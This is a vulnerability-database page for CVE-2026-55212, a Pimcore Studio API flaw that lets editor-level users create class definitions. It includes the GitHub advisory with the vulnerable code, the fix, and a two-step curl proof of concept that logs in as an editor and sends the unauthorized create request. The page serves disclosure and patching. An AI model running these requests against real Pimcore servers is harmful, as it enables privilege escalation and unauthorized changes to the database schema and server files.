Vulnerability-Lookup

CVE-2026-55212 (GCVE-0-2026-55212)

Vulnerability from cvelistv5 – Published: 2026-07-09 20:53 – Updated: 2026-07-10 20:32

Title

Pimcore: Insufficient Permission Check on Class Definition Creation Endpoint Allows Privilege Escalation

Summary

Pimcore is an Open Source Data & Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, the Studio API class definition creation endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is guarded by the objects permission instead of the classes permission, allowing a standard editor-level user to create class definitions without admin privileges. Class definition creation generates new database tables and PHP class files on the server, and missing API-layer UID format validation allows malformed UIDs to reach model-layer validation and return internal exceptions. This issue is fixed in versions 2025.4.6 and 2026.1.6.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 19:11 UTC

CWE

CWE-285 - Improper Authorization

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/pimcore/pimcore/security/advis…	x_refsource_CONFIRM
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
pimcore	pimcore	Affected: >= 2026.1.0, < 2026.1.6 Affected: < 2025.4.6	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55212",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T19:11:51.488115Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-10T20:32:10.057Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pimcore",
          "vendor": "pimcore",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2026.1.0, \u003c 2026.1.6"
            },
            {
              "status": "affected",
              "version": "\u003c 2025.4.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, the Studio API class definition creation endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is guarded by the objects permission instead of the classes permission, allowing a standard editor-level user to create class definitions without admin privileges. Class definition creation generates new database tables and PHP class files on the server, and missing API-layer UID format validation allows malformed UIDs to reach model-layer validation and return internal exceptions. This issue is fixed in versions 2025.4.6 and 2026.1.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-09T20:53:36.900Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
        },
        {
          "name": "https://github.com/pimcore/studio-backend-bundle/pull/1886",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pimcore/studio-backend-bundle/pull/1886"
        },
        {
          "name": "https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0"
        },
        {
          "name": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
        },
        {
          "name": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
        }
      ],
      "source": {
        "advisory": "GHSA-f97c-ph8j-8vff",
        "discovery": "UNKNOWN"
      },
      "title": "Pimcore: Insufficient Permission Check on Class Definition Creation Endpoint Allows Privilege Escalation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55212",
    "datePublished": "2026-07-09T20:53:36.900Z",
    "dateReserved": "2026-06-16T16:16:32.627Z",
    "dateUpdated": "2026-07-10T20:32:10.057Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55212",
      "date": "2026-09-18",
      "epss": "0.00351",
      "percentile": "0.28843"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "pimcore",
                "vendor": "pimcore",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 2026.1.0, \u003c 2026.1.6"
                  },
                  {
                    "status": "affected",
                    "version": "\u003c 2025.4.6"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, the Studio API class definition creation endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is guarded by the objects permission instead of the classes permission, allowing a standard editor-level user to create class definitions without admin privileges. Class definition creation generates new database tables and PHP class files on the server, and missing API-layer UID format validation allows malformed UIDs to reach model-layer validation and return internal exceptions. This issue is fixed in versions 2025.4.6 and 2026.1.6."
          }
        ],
        "id": "CVE-2026-55212",
        "lastModified": "2026-07-10T21:16:55.400",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-55212",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T19:11:51.488115Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-09T21:16:56.150",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pimcore/studio-backend-bundle/pull/1886"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-285"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-55212",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-10T19:11:51.488115Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-10T19:12:03.243Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "pimcore",
              "vendor": "pimcore",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 2026.1.0, \u003c 2026.1.6"
                },
                {
                  "status": "affected",
                  "version": "\u003c 2025.4.6"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, the Studio API class definition creation endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is guarded by the objects permission instead of the classes permission, allowing a standard editor-level user to create class definitions without admin privileges. Class definition creation generates new database tables and PHP class files on the server, and missing API-layer UID format validation allows malformed UIDs to reach model-layer validation and return internal exceptions. This issue is fixed in versions 2025.4.6 and 2026.1.6."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-285",
                  "description": "CWE-285: Improper Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-09T20:53:36.900Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
            },
            {
              "name": "https://github.com/pimcore/studio-backend-bundle/pull/1886",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pimcore/studio-backend-bundle/pull/1886"
            },
            {
              "name": "https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0"
            },
            {
              "name": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
            },
            {
              "name": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
            }
          ],
          "source": {
            "advisory": "GHSA-f97c-ph8j-8vff",
            "discovery": "UNKNOWN"
          },
          "title": "Pimcore: Insufficient Permission Check on Class Definition Creation Endpoint Allows Privilege Escalation"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-55212",
        "datePublished": "2026-07-09T20:53:36.900Z",
        "dateReserved": "2026-06-16T16:16:32.627Z",
        "dateUpdated": "2026-07-10T20:32:10.057Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55212

Vulnerability from fkie_nvd - Published: 2026-07-09 21:16 - Updated: 2026-07-10 21:16

Severity

7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff
	security-advisories@github.com	https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0
	security-advisories@github.com	https://github.com/pimcore/studio-backend-bundle/pull/1886
	security-advisories@github.com	https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6
	security-advisories@github.com	https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pimcore",
          "vendor": "pimcore",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2026.1.0, \u003c 2026.1.6"
            },
            {
              "status": "affected",
              "version": "\u003c 2025.4.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, the Studio API class definition creation endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is guarded by the objects permission instead of the classes permission, allowing a standard editor-level user to create class definitions without admin privileges. Class definition creation generates new database tables and PHP class files on the server, and missing API-layer UID format validation allows malformed UIDs to reach model-layer validation and return internal exceptions. This issue is fixed in versions 2025.4.6 and 2026.1.6."
    }
  ],
  "id": "CVE-2026-55212",
  "lastModified": "2026-07-10T21:16:55.400",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55212",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-10T19:11:51.488115Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-09T21:16:56.150",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pimcore/studio-backend-bundle/pull/1886"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-F97C-PH8J-8VFF

Vulnerability from github – Published: 2026-08-28 19:05 – Updated: 2026-08-28 19:05

Summary

Pimcore: Insufficient Permission Check on Class Definition Creation Endpoint Allows Privilege Escalation

Details

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle: - src/Class/Controller/DefinitionConfiguration/CreateController.php - src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites: - Pimcore 2026.1.x with Studio API enabled - A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

Authentication required from attacker: Yes - valid Pimcore session with objects permission required
Authentication required from victim: No - no victim action needed
What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2025.4.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/studio-backend-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/studio-backend-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:05:25Z",
    "nvd_published_at": "2026-07-09T21:16:56Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Studio API class definition creation endpoint in `pimcore/studio-backend-bundle` is guarded by the `objects` permission instead of the `classes` permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the `uid` field before passing it to the model layer, relying solely on model-level validation that exists downstream in `ClassDefinition::saveClassInternal()`.\n\n### Details\n\n### Issue 1 \u2014 Incorrect permission guard on CreateController\n\n`studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php`:\n\n```php\n#[IsGranted(UserPermissions::DATA_OBJECTS-\u003evalue)]\n```\n\nThe endpoint `POST /pimcore-studio/api/class/definition/configuration-view/detail/create` is protected by `DATA_OBJECTS` (the `objects` permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the `classes` permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.\n\nAny authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.\n\n**Correct guard:**\n```php\n#[IsGranted(UserPermissions::CLASSES-\u003evalue)]\n```\n\n### Issue 2 \u2014 No UID format validation at the API layer\n\n`studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php`:\n\n```php\npublic function __construct(\n    private string $name,\n    private string $uid\n) {\n    if (trim($name) === \u0027\u0027 || trim($uid) === \u0027\u0027) {\n        throw new InvalidArgumentException(\u0027Class name and UID cannot be empty.\u0027);\n    }\n}\n```\n\nOnly an empty-string check is performed on `uid` at the API boundary before the value is passed to the model layer. While `ClassDefinition::saveClassInternal()` now validates the UID format via anchored regex, no equivalent validation exists in `CreateClassDefinitionParameters`. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.\n\nDefense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in `ClassDefinition.php` should also be enforced here:\n\n```php\nif (!preg_match(\u0027/^[a-zA-Z0-9][a-zA-Z0-9_]*$/\u0027, trim($this-\u003euid))) {\n    throw new InvalidArgumentException(\n        sprintf(\u0027Invalid UID for class definition: %s\u0027, $this-\u003euid)\n    );\n}\n```\n\n**Affected files in `pimcore/studio-backend-bundle`:**\n- `src/Class/Controller/DefinitionConfiguration/CreateController.php`\n- `src/Class/MappedParameter/CreateClassDefinitionParameters.php`\n\n**Vulnerable endpoint:**\n`POST /pimcore-studio/api/class/definition/configuration-view/detail/create`\n\n### PoC\n\n**Prerequisites:**\n- Pimcore 2026.1.x with Studio API enabled\n- A user `editor` with only the `objects` permission and no `classes` permission\n\n**Step 1 \u2014 Authenticate as the editor user:**\n\n```bash\ncurl -s -c /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"editor\",\"password\":\"password\"}\u0027\n```\n\nExpected response:\n```json\n{\"message\": \"Login successful\"}\n```\n\n**Step 2 \u2014 Confirm the user has no class management access in Classic Admin**\n\nLog into Classic Admin as `editor`. Verify the Classes menu is not visible and\nthe user cannot access Settings \u003e Classes. This confirms the `classes` permission\nis not granted to this user.\n\n**Step 3 \u2014 Create a class definition via the Studio API despite lacking the classes permission:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"UnauthorizedClass\",\"uid\":\"testuid1\"}\u0027\n```\n\nExpected response (vulnerable):\n```json\n{\"id\": \"testuid1\", \"name\": \"UnauthorizedClass\", ...}\n```\n\nThe class definition is created successfully by a user with no `classes` permission.\nThe Studio API accepts the request where the Classic Admin would deny it entirely.\n\nExpected response (patched):\n```json\n{\"status\": 403, \"detail\": \"Access denied.\"}\n```\n\n### Impact\nAny authenticated Pimcore user with the standard `objects` permission can create class definitions via the Studio API, bypassing the `classes` permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to\na capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.\n\nThe missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.\n\n- **Authentication required from attacker:** Yes - valid Pimcore session with  `objects` permission required\n- **Authentication required from victim:** No - no victim action needed\n- **What is accessible:** Full class definition creation capability including database table generation and PHP class file creation on the server",
  "id": "GHSA-f97c-ph8j-8vff",
  "modified": "2026-08-28T19:05:25Z",
  "published": "2026-08-28T19:05:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-f97c-ph8j-8vff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55212"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/pull/1886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/commit/d1a4788c0f159c360d550c34256c8abbbd633ae0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pimcore: Insufficient Permission Check on Class Definition Creation Endpoint Allows Privilege Escalation"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

